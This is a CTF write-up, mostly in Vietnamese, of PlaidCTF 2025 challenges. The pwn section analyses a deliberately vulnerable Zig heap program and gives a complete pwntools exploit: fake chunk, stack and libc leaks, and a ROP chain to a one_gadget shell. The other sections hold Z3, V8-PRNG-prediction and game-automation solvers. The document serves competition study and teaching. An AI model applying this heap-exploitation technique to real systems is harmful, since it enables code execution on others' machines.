# PlaidCTF 2025 Writeup
## Pwnable
### Bounty board
#### Challenge Description
#### Analysis

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x1000000)
    Stripped:   No
    Debuginfo:  Yes

// zig version: 0.14.0
// zig build-exe tumbleweed.zig -lc -OReleaseFast
const std = @import("std");

const stdout = std.io.getStdOut().writer();
const stdin = std.io.getStdIn();
const reader = stdin.reader();

var fba_buf: [128]u8 = undefined;
var fba: std.heap.FixedBufferAllocator = undefined;

var tumbleweed_incubators: [16]?[]u8 = undefined;
var heaps: [4]std.mem.Allocator = undefined;
var burn_count = [4]u8{ 0, 0, 0, 0 };

const technical_difficulty = error.FileNotFound;

fn readNonNegativeInt(upper_limit: isize) !usize {
    var full_buf: [16]u8 = undefined;
    const buf = try reader.readUntilDelimiterOrEof(&full_buf, '\n');

    const input = std.mem.trimRight(u8, buf.?, "\n");

    const parsed_input = std.fmt.parseUnsigned(usize, input, 10) catch {
        try stdout.print("Invalid number.\n", .{});
        return technical_difficulty;
    };

    if (upper_limit <= 0 or parsed_input < upper_limit) {
        return parsed_input;
    } else {
        return technical_difficulty;
    }
}

fn welcome() !void {
    try stdout.print("Welcome to Tumbleweed Inc.!\n", .{});
    try stdout.print("Your job is to make heaps of tumbleweeds, burn some of them, and\n", .{});
    try stdout.print("send those burning fireballs across different heaps to annoy people!\n", .{});
    try stdout.print("Though, you can only set so many of them on fire on each heap before\n", .{});
    try stdout.print("people notice and stop you. Well then, have fun!\n\n", .{});
}

fn printOptions() !void {
    try stdout.print("\nOptions\n", .{});
    try stdout.print("[0] Grow a tumbleweed\n", .{});
    try stdout.print("[1] Set a tumbleweed on fire\n", .{});
    try stdout.print("[2] Inspect a tumbleweed\n", .{});
    try stdout.print("[3] Trim or feed a tumbleweed\n", .{});
    try stdout.print("[4] Give up\n", .{});
    try stdout.print("> ", .{});
}

fn chooseHeap() !usize {
    try stdout.print("Choose heap:\n", .{});
    try stdout.print("[0] C\n", .{});
    try stdout.print("[1] Page\n", .{});
    try stdout.print("[2] SMP\n", .{});
    try stdout.print("[3] Fixed Buffer\n", .{});
    try stdout.print("> ", .{});

    return try readNonNegativeInt(heaps.len);
}

fn grow() !void {
    var idx: usize = undefined;
    var size: usize = undefined;

    try stdout.print("Which incubator? ", .{});
    idx = readNonNegativeInt(tumbleweed_incubators.len) catch {
        try stdout.print("Invalid index!\n", .{});
        return technical_difficulty;
    };

    try stdout.print("Size? ", .{});
    size = readNonNegativeInt(0) catch {
        try stdout.print("Invalid size!\n", .{});
        return technical_difficulty;
    };

    const heap_idx = chooseHeap() catch {
        try stdout.print("Invalid heap choice!\n", .{});
        return technical_difficulty;
    };
    tumbleweed_incubators[idx] = try heaps[heap_idx].alloc(u8, size);

    try stdout.print("Label: ", .{});
    _ = try reader.readUntilDelimiterOrEof(tumbleweed_incubators[idx].?, '\n');
}

fn burn() !void {
    var idx: usize = undefined;

    try stdout.print("Which incubator? ", .{});
    idx = readNonNegativeInt(tumbleweed_incubators.len) catch {
        try stdout.print("Invalid index!\n", .{});
        return technical_difficulty;
    };

    const heap_idx = chooseHeap() catch {
        try stdout.print("Invalid heap choice!\n", .{});
        return technical_difficulty;
    };

    if (burn_count[heap_idx] < 2) {
        burn_count[heap_idx] += 1;
        heaps[heap_idx].free(tumbleweed_incubators[idx].?);
        tumbleweed_incubators[idx] = null;
    }
}

fn inspect() !void {
    var idx: usize = undefined;

    try stdout.print("Which incubator? ", .{});
    idx = readNonNegativeInt(tumbleweed_incubators.len) catch {
        try stdout.print("Invalid index!\n", .{});
        return technical_difficulty;
    };

    try stdout.print("{s}\n", .{tumbleweed_incubators[idx].?});
}

fn resize() !void {
    var idx: usize = undefined;
    var new_size: usize = undefined;

    try stdout.print("Which incubator? ", .{});
    idx = readNonNegativeInt(tumbleweed_incubators.len) catch {
        try stdout.print("Invalid index!\n", .{});
        return technical_difficulty;
    };

    try stdout.print("Target size: ", .{});
    new_size = readNonNegativeInt(0) catch {
        try stdout.print("Invalid size!\n", .{});
        return technical_difficulty;
    };

    const heap_idx = chooseHeap() catch {
        try stdout.print("Invalid heap choice!\n", .{});
        return technical_difficulty;
    };

    if (heaps[heap_idx].resize(tumbleweed_incubators[idx].?, new_size)) {
        try stdout.print("Resize success!\n", .{});
    } else {
        try stdout.print("Resize failed!\n", .{});
    }
}

pub fn main() !void {
    try welcome();

    heaps[0] = std.heap.c_allocator;
    heaps[1] = std.heap.page_allocator;
    heaps[2] = std.heap.smp_allocator;
    fba = std.heap.FixedBufferAllocator.init(&fba_buf);
    heaps[3] = fba.allocator();

    var choice: usize = undefined;

    while (true) {
        try printOptions();

        choice = readNonNegativeInt(5) catch {
            try stdout.print("Invalid choice!\n", .{});
            continue;
        };

        try switch (choice) {
            0 => grow(),
            1 => burn(),
            2 => inspect(),
            3 => resize(),
            else => break,
        };
    }
}

Challenge là 1 bài heap với 4 operations là alloc (grow), free (burn), view (inspect) và resize:

try switch (choice) {
            0 => grow(),
            1 => burn(),
            2 => inspect(),
            3 => resize(),
            else => break,
        };

Và với 2 operations `grow` và `burn` sẽ cho chọn 1 trong 4 kiểu cấp phát:

    heaps[0] = std.heap.c_allocator;
    heaps[1] = std.heap.page_allocator;
    heaps[2] = std.heap.smp_allocator;
    fba = std.heap.FixedBufferAllocator.init(&fba_buf);
    heaps[3] = fba.allocator();

Ở đây mình phát hiện những bug sau:
- Không có checker cho heap type lúc burn 1 chunk, từ đó nếu alloc bằng FixedBufferAllocator thì sau đó có thể free bằng CAllocator.
- Heap uninitialized.
- Mặc dù `burn` xóa pointer sau khi free nhưng nếu resize 1 chunk thành 0 thì sẽ free chunk đó, lúc này resize không xóa pointer nên có use after free.

Tuy nhiên, trong giải mình chỉ dùng đến 2 bug đầu tiên để exploit, bug thứ 3 cũng có thể sử dụng nhưng hướng tiếp cận sẽ phức tạp hơn 1 chút.

Vì biến `fba` là biến global và `fba_buf` cũng được khai báo global, do đó nếu free fixed buffer bằng C allocator sau đó alloc lại thì ta có thể ghi control được `fba` để Arbitrary Address Allocate, đồng thời leak được stack để ROP

Ở đây, do address của chunk được cấp phát từ fba allocator không nhất thiết phải allign 0x10, do đó nếu không allign 0x10 và fake size chunk thì sẽ không free bằng C allocator được

Ở đây mình sử dụng bug heap uninitialized để ghi sẵn fake chunk size cho chunk tiếp theo trước, sau đó allocate 1 fba chunk sao cho chunk nhận fake size là size của chunk

Do đó, sau khi free bằng C allocator thì mình đã có được 1 chunk nằm trên bss và có thể ghi đè fba struct tùy ý

Đồng thời, chunk cũng bao quát phần `os[argv]` do đó inspect chunk cũng leak được stack

Lúc này có stack, mình control fba để allocate 2 chunk trên stack: 1 chunk để leak libc address, 1 chunk để ghi đè ROP

Cuối cùng, sau khi ghi đè ROP chain thì giveup để ROP về onegadget pop shell và có được flag

#### Solution

#!/usr/bin/env python3

from pwn import *
import sys
import os
#Cre: vilex1337

_path = "./tumbleweed_patched"
exe = context.binary = ELF(_path, checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
addr = 'tumbleweed.chal.pwni.ng'
port = 1337
cmd = f'''
    set solib-search-path {os.getcwd()}
    b *0x100416E
    continue
'''
_mode = 0
_arch = 64

def conn():
    global _mode
    if len(sys.argv) == 1:
        return gdb.debug(_path, cmd)
    if len(sys.argv) != 1 and sys.argv[1] == 'exp':
        return remote(addr, port)
    return process(_path)

def p(_data, _arch = 64, endian = 'little'):
    switcher = {
        64: p64(_data & 0xffffffffffffffff, endian),
        32: p32(_data & 0xffffffff, endian),
        16: p16(_data & 0xffff, endian),
        8:  p8(_data & 0xff, endian)
    }
    return switcher[_arch]

chall = conn()

def _send(_rgx, _data):
    chall.sendafter(_rgx, _data)

def _sendline(_rgx, _data):
    chall.sendlineafter(_rgx, _data)

def check():
    chall.interactive()
    exit()

def _grow(idx, _size, heaptype, _data):
    _sendline(b'> ', b'0')
    _sendline(b'Which incubator? ', str(idx).encode())
    _sendline(b'Size? ', str(_size).encode())
    _sendline(b'> ', str(heaptype).encode())
    _send(b'Label: ', _data)

def _burn(idx, heaptype):
    _sendline(b'> ', b'1')
    _sendline(b'Which incubator? ', str(idx).encode())
    _sendline(b'> ', str(heaptype).encode())

def _inspect(idx):
    _sendline(b'> ', b'2')
    _sendline(b'Which incubator? ', str(idx).encode())

def _resize(idx, newsize):
    _sendline(b'> ', b'3')
    _sendline(b'Which incubator? ', str(idx).encode())
    _sendline(b'Target size: ', str(newsize).encode())

def _giveup():
    _sendline(b'> ', b'4')

def main():
    _grow(0, 0x68, 3, b'a' * 0x50 + p(0x81) + b'\n')
    _burn(0, 3)
    _grow(0, 0x58, 3, b'a\n')
    _grow(1, 0x18, 3, b'lmao dac\n')
    _burn(1, 0)
    _grow(1, 0x78, 0, b'a' * 0x3f + b'\n')
    _inspect(1)
    chall.recvuntil(b'a' * 0x3f + b'\n')
    _stack = int.from_bytes(chall.recv(6), 'little')
    log.info(f"Stack {hex(_stack)}")
    _burn(1, 0)
    _grow(1, 0x78, 0, b'a' * 0x28 + p(0) + p(_stack - 0x130) + p(0x100) + b'\n')
    _grow(2, 0x18, 3, b'cat /flag\x00\n')
    _inspect(2)
    chall.recv(16)
    libc.address = int.from_bytes(chall.recv(6), 'little') - 0x267040
    chall.recv(2)
    log.info(f"Libc: {hex(libc.address)}")
    _pop_r12_r13_r14_r15_rbp = 0x1004176
    _one_gadget = libc.address + 0xebce2
    payload = p(0) + p(_pop_r12_r13_r14_r15_rbp) + p(0) * 4 + p(_stack)
    payload += p(_one_gadget) + b'\n'
    _grow(2, 0x90, 3, payload)
    _giveup()
    check()

if __name__ == "__main__":
    main()

`flag: PCTF{17_ju57_k33p5_tumbl1n6_down_7umblin6_d0wn_7umbl1ng_d0wn_7748ebab}`
## Reversing
### 1. Prospectors_claim
- Alright, let's see what we have there:
- Since it was built for ARM aarch64, we can't execute it natively within our WSL environment. But, let's start taking a look at ida first!


>....many expressions there.....


- The challenge requires user to input 64 characters. It then checks various conditions, increasing score by 1 for each condition met. Finally, our score has to greater 0x119 so that it can confirm our flag is correct.

- It's not hard to think about a solution using Z3 solver. Since our constraint here is that our score has to greater than a specific value, we can come up with an idea of using the second array which is can manage this core constraint of this challenge.

from z3 import * 

v = [BitVec(f'v{i}', 8) for i in range(70)]


exprs = [
    (v[0] == 50),     ( v[31] == 50 ), ((v[35] ^ v[28]) == 170 ), ((v[35] + v[50]) == 144 ), ((v[63] + v[40]) == 129 ), ( v[17] == 190 ), ( v[36] == 100 ), ( v[30] == 49 ), ( v[46] == 57 ), ((v[49] + v[67]) == 147 ), ( v[54] == 49 ), ((v[5] + v[19]) == 56 ), ((v[17] ^ v[39]) == 142 ), ((v[5] ^ v[50]) == 113 ), ( v[46] == 180 ), ( v[23] == 54 ), ( v[32] == v[52] ), ((v[14] ^ v[37]) == 3 ), ( v[34] == 118 ), ( v[9] == 50 ), ((v[5] ^ v[52]) == 133 ), ( v[6] == 84 ), ( v[27] == 225 ), ((v[13] ^ v[58]) == 129 ), ((v[57] + v[30]) == 97 ), ((v[22] ^ v[61]) == 7 ), ((v[22] ^ v[9]) == 86 ), ((v[18] + v[57]) == 102 ), ((v[52] ^ v[60]) == 84 ), ( v[56] == 229 ), ( v[40] == 111 ), ((v[41] + v[34]) == 102 ), ( v[54] == 49 ), ( v[27] == 56 ), ( v[43] == 52 ), ((v[60] + v[23]) == 151 ), ((v[23] ^ v[54]) == 45 ), ((v[38] + v[5]) == 164 ), ((v[51] + v[42]) == 244 ), ((v[31] + v[51]) == 151 ), ((v[51] + v[14]) == 150 ), ( v[6] == 114 ), ( v[63] == 54 ), ( v[32] == 177 ), ((v[12] ^ v[62]) == 8 ), ((v[6] ^ v[50]) == 58 ), ( v[63] == 68 ), ( v[61] == 18 ), ((v[21] ^ v[44]) == 91 ), ( v[45] == 42 ), ( v[45] == 51 ), ((v[30] + v[42]) == 63 ), ((v[65] ^ v[4]) == 96 ), ( v[25] == 36 ), ((v[9] + v[47]) == 45 ), ( v[61] == 99 ), ((v[59] ^ v[56]) == 5 ), ( v[8] == 123 ), ((v[20] + v[13]) == 173 ), ((v[26] + v[49]) == 152 ), ( v[28] == 50 ), ( v[52] == 53 ), ((v[58] ^ v[23]) == 91 ), ((v[58] + v[18]) == 153 ), ( v[57] == 210 ), ((v[4]^ v[52]) == 101 ), ((v[46] + v[53]) == 154 ), ((v[24] + v[33]) == 150 ), ((v[44] ^ v[54]) == 218 ), ((v[64] + v[36]) == 150 ), ((v[43] + v[11]) == 152 ), ( v[54] == v[14] ), ((v[61] ^ v[14]) == 82 ), ( v[60] == 97 ), ( v[24] == 97 ), ((v[66] ^ v[12]) == 1 ), ((v[48] ^ v[38]) == 48 ), ( v[37] == 50 ), ((v[51] ^ v[53]) == 4 ), ((v[31] ^ v[26]) == 83 ), ((v[4]+ v[45]) == 131 ), ( v[22] == 241 ), ( v[32] == 53 ), ( v[20] == 211 ), ((v[10] + v[51]) == 153 ), ((v[32] + v[29]) == 175 ), ((v[67] + v[23]) == 179 ), ( v[33] == 53 ), ( v[65] == 48 ), ((v[19] + v[29]) == 133 ), ((v[24] ^ v[65]) == 79 ), ((v[31] ^ v[54]) == 3 ), ((v[66] + v[55]) == 98 ), ((v[24] + v[48]) == 197 ), ((v[47] + v[22]) == 201 ), ((v[13] + v[40]) == 104 ), ( v[13] == v[23] ), ((v[23] ^ v[37]) == 4 ), ((v[59] + v[4]) == 133 ), ( v[26] == 97 ), ( v[21] == 57 ), ( v[14] == 49 ), ( v[57] == 48 ), ((v[53] + v[65]) == 233 ), ( v[54] == 49 ), ((v[59] + v[7]) == 191 ), ((v[49] + v[29]) == 153 ), ( v[50] == 50 ), ((v[28] + v[47]) == 151 ), ( v[30] == 49 ), ( v[18] == 54 ), ((v[7] + v[66]) == 118 ), ( v[31] == 50 ), ((v[67] ^ v[49]) == 74 ), ((v[48] + v[18]) == 240 ), ( v[13] == 216 ), ((v[62] + v[66]) == 98 ), ((v[65] + v[26]) == 147 ), ((v[55] ^ v[57]) == 2 ), ( v[31] == 50 ), ((v[54] ^ v[63]) == 7 ), ( v[56] == 48 ), ( v[37] == 121 ), ( v[65] == 51 ), ((v[25] + v[53]) == 197 ), ( v[40] == 83 ), ( v[19] == 9 ), ((v[4]+ v[36]) == 180 ), ((v[18] + v[55]) == 104 ), ((v[47] ^ v[18]) == 251 ), ( v[62] == 79 ), ( v[14] == 62 ), ( v[51] == 236 ), ( v[49] == 55 ), ((v[26] + v[63]) == 255 ), ((v[28] ^ v[6]) == 40 ), ( v[52] == 209 ), ((v[59] ^ v[11]) == 232 ), ( v[51] == 101 ), ((v[9] + v[61]) == 252 ), ((v[28] + v[9]) == 100 ), ((v[38] ^ v[58]) == 2 ), ( v[13] == 54 ), ( v[9] == 50 ), ( v[30] == 49 ), ( v[64] == 50 ), ((v[8] + v[11]) == 223 ), ( v[35] == 52 ), ((v[54] ^ v[56]) == 89 ), ( v[62] == 57 ), ((v[16] ^ v[47]) == 83 ), ( v[11] == 97 ), ((v[57] ^ v[11]) == 84 ), ((v[63] + v[10]) == 106 ), ((v[21] + v[32]) == 110 ), ( v[8] == 123 ), ( v[39] == 101 ), ((v[40] + v[48]) == 150 ), ( v[67] == 125 ), ((v[31] ^ v[45]) == 93 ), ( v[44] == 98 ), ((v[28] ^ v[25]) == 99 ), ((v[25] ^ v[23]) == 82 ), ( v[14] == 49 ), ((v[41] + v[10]) == 103 ), ( v[10] == 123 ), ( v[60] == 147 ), ((v[13] ^ v[33]) == 3 ), ( v[51] == 199 ), ( v[33] == 53 ), ( v[67] == 125 ), ((v[55] + v[42]) == 71 ), ((v[64] + v[24]) == 147 ), ((v[5] ^ v[19]) == 116 ), ((v[15] ^ v[62]) == 22 ), ( v[54] == 49 ), ((v[4]+ v[67]) == 205 ), ( v[64] == 50 ), ( v[58] == 99 ), ( v[11] == 75 ), ((v[33] ^ v[44]) == 87 ), ( v[62] == 57 ), ((v[37] ^ v[48]) == 86 ), ( v[21] == 150 ), ( v[23] == 171 ), ((v[63] + v[55]) == 175 ), ( v[25] == 127 ), ((v[39] ^ v[15]) == 209 ), ( v[44] == 98 ), ((v[22] ^ v[17]) == 94 ), ( v[11] == 22 ), ((v[58] + v[10]) == 151 ), ( v[54] == 49 ), ( v[49] == 55 ), ((v[23] + v[9]) == 104 ), ( v[8] == 26 ), ( v[66] == 48 ), ((v[16] ^ v[28]) == 4 ), ((v[50] + v[36]) == 150 ), ( v[38] == 97 ), ( v[7] == 70 ), ((v[15] + v[51]) == 151 ), ( v[50] == 50 ), ( v[29] == 96 ), ( v[13] == 54 ), ( v[30] == 58 ), ((v[59] ^ v[46]) == 12 ), ((v[38] ^ v[23]) == 87 ), ( v[60] == 97 ), ((v[47] ^ v[35]) == 81 ), ( v[59] == 53 ), ( v[13] == 169 ), ((v[50] + v[7]) == 120 ), ( v[52] == 31 ), ((v[39] + v[27]) == 157 ), ( v[40] == 109 ), ((v[34] ^ v[32]) == 6 ), ( v[57] == 48 ), ( v[24] == 247 ), ( v[54] == 49 ), ((v[64] + v[49]) == 105 ), ((v[45] ^ v[16]) == 5 ), ((v[13] ^ v[46]) == 133 ), ( v[36] == 100 ), ( v[57] == 48 ), ((v[42] + v[59]) == 103 ), ( v[36] == v[17] ), ( v[40] == 50 ), ( v[27] == 155 ), ( v[17] == 100 ), ( v[12] == 49 ), ( v[40] == 50 ), ( v[18] == 195 ), ((v[45] + v[25]) == 151 ), ((v[49] + v[41]) == 106 ), ( v[36] == 50 ), ( v[48] == 100 ), ( v[6] == 84 ), ((v[39] ^ v[54]) == 84 ), ( v[55] == 50 ), ( v[52] == 53 ), ( v[45] == 51 ), ( v[31] == 50 ), ((v[53] + v[63]) == 151 ), ( v[40] == 50 ), ( v[26] == 97 ), ((v[59] + v[8]) == 18 ), ( v[50] == 158 ), ((v[26] ^ v[35]) == 85 ), ( v[54] == 67 ), ( v[27] == 56 ), ( v[56] == 12 ), ( v[56] == 48 ), ( v[26] == 97 ), ( v[18] == 54 ), ( v[6] == 84 ), ((v[12] ^ v[26]) == 80 ), ((v[39] + v[4]) == 167 ), ((v[43] + v[6]) == 199 ), ((v[45] ^ v[10]) == 7 ), ((v[37] + v[15]) == 165 ), ( v[29] == 98 ), ( v[30] == 49 ), ((v[24] + v[31]) == 35 ), ((v[10] ^ v[39]) == 156 ), ((v[18] ^ v[15]) == 4 ), ( v[43] == 52 ), ((v[44] + v[35]) == 150 ), ( v[61] == 99 ), ( v[11] == 100 ), ( v[18] == 54 ), ( v[9] == 67 ), ((v[27] ^ v[26]) == 89 ), ( v[25] == 100 ), ((v[26] ^ v[48]) == 5 ), ( v[57] == 48 ), ( v[35] == 52 ), ( v[26] == 97 ), ((v[50] + v[12]) == 122 ), ((v[29] ^ v[7]) == 36 ), ( v[47] == 101 ), ( v[48] == 15 ), ((v[20] ^ v[25]) == 87 ), ((v[13] ^ v[66]) == 6 ), ( v[31] == 50 ), ((v[22] + v[58]) == 209 ), ( v[36] == 100 ), ((v[61] + v[22]) == 199 ), ((v[47] ^ v[36]) == 1 ), ( v[21] == 164 ), ((v[12] ^ v[13]) == 7 ), ( v[44] == 98 ), ((v[60] + v[8]) == 10 ), ((v[25] + v[32]) == 153 ), ( v[16] == 124 ), ((v[67] + v[22]) == 225 ), ( v[31] == 50 ), ( v[27] == 56 ), ((v[48] + v[22]) == 200 ), ((v[13] + v[23]) == 108 ), ((v[65] + v[15]) == 231 ), ( v[25] == 100 ), ((v[61] + v[35]) == 151 ), ((v[32] ^ v[44]) == 87 ), ( v[49] == 55 ), ((v[17] + v[51]) == 201 ), ( v[22] == 100 ), ( v[19] == 55 ), ((v[62] ^ v[20]) == 10 ), ((v[4]^ v[25]) == 52 ), ((v[66] + v[53]) == 145 ), ( v[50] == 50 ), ((v[61] + v[4]) == 168 ), ( v[40] == 50 ), ( v[54] == 49 ), ( v[52] == 53 ), ( v[46] == 57 ), ((v[65] + v[39]) == 149 ), ((v[31] + v[5]) == 117 ), ( v[52] == 53 ), ((v[39] ^ v[37]) == 81 ), ((v[33] ^ v[61]) == 86 ), ( v[27] == 75 ), ((v[35] + v[17]) == 172 ), ( v[43] == 74 ), ( v[43] == 52 ), ( v[37] == 115 ), ( v[11] == 100 ), ( v[4]== 80 ), ( v[26] == 97 ), ((v[66] + v[59]) == 101 ), ( v[56] == 48 ), ((v[11] + v[26]) == 204 ), ((v[30] ^ v[18]) == 7 ), ( v[6] == 84 ), ( v[50] == 50 ), ( v[56] == 48 ), ((v[58] ^ v[39]) == 6 ), ((v[35] ^ v[38]) == 85 ), ( v[37] == 50 ), ((v[44] + v[37]) == 148 ), ( v[11] == 100 ), ( v[19] == 55 ), ((v[14] ^ v[47]) == 84 ), ( v[19] == 55 ), ((v[33] + v[34]) == 104 ), ((v[47] ^ v[17]) == 1 ), ((v[62] + v[28]) == 217 ), ((v[21] + v[65]) == 105 ), ( v[45] == 166 ), ((v[58] ^ v[28]) == 81 ), ( v[66] == 48 ), ((v[61] + v[41]) == 150 ), ((v[65] ^ v[8]) == 75 ), ((v[41] + v[56]) == 99 ), ((v[25] ^ v[30]) == 61 ), ( v[54] == 233 ), ((v[9] ^ v[33]) == 7 ), ( v[35] == 52 ), ( v[57] == 1 ), ((v[19] + v[11]) == 155 ), ( v[45] == 51 ), ((v[39] + v[31]) == 151 ), ( v[46] == 57 ), ( v[31] == 50 ), ( v[51] == 101 ), ((v[49] ^ v[34]) == 4 ), ( v[34] == 51 ), ( v[26] == 97 ), ( v[53] == 97 ), ((v[35] + v[25]) == 152 ), ( v[28] == 50 ), ( v[19] == 55 ), ( v[39] == 203 ), ((v[8] + v[41]) == 174 ), ( v[53] == 97 ), ((v[11] ^ v[35]) == 80 ), ((v[19] + v[23]) == 109 ), ((v[34] ^ v[26]) == 199 ), ((v[20] ^ v[64]) == 1 ), ( v[16] == 54 ), ( v[32] == 1 ), ((v[48] + v[62]) == 157 ), ((v[53] ^ v[41]) == 82 ), ( v[10] == 52 ), ( v[42] == 50 ), ( v[66] == 48 ), ((v[41] ^ v[25]) == 87 ), ((v[44] + v[9]) == 148 ), ((v[15] + v[38]) == 147 ), ( v[47] == 153 ), ((v[26] + v[31]) == 136 ), ( v[50] == v[42] ), ((v[52] ^ v[65]) == 5 ), ( v[16] == 86 ), ((v[48] ^ v[32]) == 81 ), ( v[49] == 55 ), ((v[41] ^ v[6]) == 103 ), ((v[58] ^ v[20]) == 123 ), ((v[49] ^ v[22]) == 145 ), ( v[22] == 100 )
]

solver = Solver() 
for i in range(68):
    solver.add(v[i] >= ord('!'))
    solver.add(v[i] <= ord('~'))



solver.add(v[9] == ord('2'))
solver.add(v[10] == ord('4'))
solver.add(v[12] == ord('1'))
solver.add(v[13] == ord('6'))
solver.add(v[14] == ord('1'))
solver.add(v[17] == ord('d'))
solver.add(v[18] == ord('6'))
solver.add(v[19] == ord('7'))
solver.add(v[21] == ord('9'))
solver.add(v[22] == ord('d'))
solver.add(v[23] == ord('6'))
solver.add(v[24] == ord('a'))
solver.add(v[67] == ord('}'))
solver.add(v[66] == ord('0'))
solver.add(v[64] == ord('2'))
solver.add(v[61] == ord('c'))
solver.add(v[60] == ord('a'))
solver.add(v[59] == ord('5'))
solver.add(v[58] == ord('c'))
solver.add(v[57] == ord('0'))
solver.add(v[56] == ord('0'))
solver.add(v[55] == ord('2'))
solver.add(v[53] == ord('a'))
solver.add(v[52] == ord('5'))
solver.add(v[51] == ord('e'))
solver.add(v[50] == ord('2'))
solver.add(v[49] == ord('7'))
solver.add(v[48] == ord('d'))
solver.add(v[47] == ord('e'))
solver.add(v[46] == ord('9'))
solver.add(v[44] == ord('b'))
solver.add(v[42] == ord('2'))
solver.add(v[39] == ord('e'))
solver.add(v[38] == ord('a'))
solver.add(v[17] == ord('d'))
solver.add(v[19] == ord('7'))
solver.add(v[28] == ord('2'))
solver.add(v[30] == ord('1'))
# Add some constraints we know before when observing exprs[] 
# to optimize time solving.


sum_true = Sum([If(e, 1, 0) for e in exprs]) 

solver.add(sum_true > 281)   

if solver.check() == sat:
    model = solver.model()
    print("Solution found!")
    for i in range(4,68): 
        print(chr(model[v[i]].as_long()), end='')  
else:
    print("No solution exists.")
print()
#PCTF{24d16126d6739d6ada82b125534d2ae2324b39ed72e5a1200c5ac96200}

## Crypto

import subprocess

secret = open('secret.txt').read().strip()
secretbits = ''.join(f'{ord(i):08b}' for i in secret)

output = []
f = open("output_test.txt", 'w')
for bit in secretbits:
    if bit == '0':
        output += [float(i) for i in subprocess.check_output('./d8 gen.js', shell=True).decode().split()]
    else:
        output += [float(i) for i in subprocess.check_output('node --random_seed=1337 gen.js', shell=True).decode().split()]


for i in output:
    f.write(str(i))
    f.write("\n")

Bài này với mỗi bit 1 hoặc 0 của flag thì output += `24 giá trị random từ js` sự khác nhau chỉ ở `d8` và `node`. Sau 1 hồi tìm tool thì mình tìm được [thằng này](https://github.com/PwnFunction/v8-randomness-predictor/blob/main/main.py)

...
def solve_seq(sequence):
...
    sequence = sequence[::-1]

    solver = z3.Solver()

    se_state0, se_state1 = z3.BitVecs("se_state0 se_state1", 64)

    for i in range(len(sequence)):

        se_s1 = se_state0
        se_s0 = se_state1
        se_state0 = se_s0
        se_s1 ^= se_s1 << 23
        se_s1 ^= z3.LShR(se_s1, 17)  # Logical shift instead of Arthmetric shift
        se_s1 ^= se_s0
        se_s1 ^= z3.LShR(se_s0, 26)
        se_state1 = se_s1

        float_64 = struct.pack("d", sequence[i] + 1)
        u_long_long_64 = struct.unpack("<Q", float_64)[0]

        mantissa = u_long_long_64 & ((1 << 52) - 1)

        # Compare Mantissas
        solver.add(int(mantissa) == z3.LShR(se_state0, 12))



    return solver.check() == z3.sat


with open("./../innov8_excav8/output.txt", "r") as f:
    datas = [float(line.strip()) for line in f]
print(len(datas))
datas = [datas[i:i+24] for i in range(0, len(datas), 24)]

from Crypto.Util.number import*
flag = ""

for data in datas:
    if solve_seq(data) == True:
        flag += "1"
    else:
        flag+="0"
    print(flag)
    print(long_to_bytes(int(flag, 2)))

# b'flag: PCTF{BuilD1nG_v8_i5_SuCh_4_pa1N...}\npassword to part 2: oaq1MD92evRsDZvH'

## Misc
### hangman / five faces

Chúng ta có một mini game khi netcat đến server

Do là phần 1 của chall này chỉ đơn giản là chọn các từ trùng lặp giống nhau với các từ khác nhất có thể.

Tóm tắt đơn giản thì bạn chỉ cần pick ra 50 từ có trong dictionary được cấp. Thì sau đó mình sẽ dùng hash của chall cung cấp cung với salt mỗi round thì sẽ tạo ra 1 hash riêng của mình ở mỗi round, dùng nó để cho bandit đoán từ của mình, nếu như bandit đoán sai 5 lần thì bạn thắng.

Vượt qua 50 lần bandit thì ta sẽ có được flag.

Đây là script mình dùng để solve:

def sol():
    words = open("your_dic.txt", "r").read().splitlines()
    my_salt = 'bfbc0ddcb3edab297c881f6a77410c29'
    mapping = {}
    p = remote('hangman2.chal.pwni.ng', 6002)
    commd = p.recvline().strip().decode().split(" ")
    passproc = subprocess.Popen(commd, stdout=subprocess.PIPE)
    my_passproc = passproc.stdout.readline().strip()  # Skip the first line
    p.sendline(my_passproc)
    for i in range(100):
        print(f"[+] Round: {i + 1}")
        p.recvuntil(b'Salt: ')
        salt = p.recvline().strip().decode()
        print(f"[+] Salt: {salt}")
        
        my_word = random.choice(words).strip()

        while my_word in mapping:
            my_word = random.choice(words).strip()
        mapping[my_word] = True
        
        print(f"[+] Word: {my_word}")
        result = hex_with_salt(my_word, my_salt)

        hash_proc = subprocess.Popen(['./hash', salt, result], stdout=subprocess.PIPE)
        my_hash = hash_proc.stdout.readline().strip().decode() 
        print(f"[+] Hash: {my_hash}")
        print(f"[+] My_salt: {my_salt}")
        p.recvuntil(b'Your hash: ')
        p.sendline(my_hash.encode())
        
        p.recvuntil(b'Length of your word: ')
        p.sendline(str(len(my_word)).encode())
        
        tries = 10
        have = 0

        while tries:
            if have == len(my_word):
                p.close()
                return
            p.recvuntil(b'bandit guesses: ')
            guess = p.recvline().strip().decode()

            indices = [str(i + 1) for i, c in enumerate(my_word) if c == guess]
            p.recvuntil(b"if it ain't there) ")

            if indices:
                p.sendline(" ".join(indices).encode())
                p.sendline(b"")
                have += 1
            else:
                p.sendline(b"")
                tries -= 1

        p.recvuntil(b'Blast it all! What was your word?! ')
        p.sendline(my_word.encode())
        p.recvuntil(b'And the salt (in hex)? ')
        p.sendline(my_salt.encode())

    p.recvuntil(b"Well, I'll be! You done it! You saved the town from them no-good bandits!")
    print(f"{p.recvline().strip().decode()}")
    print(f"{p.recvline().strip().decode()}")
    p.interactive()

while(True):
    sol();

Thử sức random với dictionary của mình thì sau khoảng vài giờ thì đã success.

:::success
PCTF{did_you_puff_buff_words_or_was_it_too_tuff_217530dfcf80620660c0f429658c6df4}
:::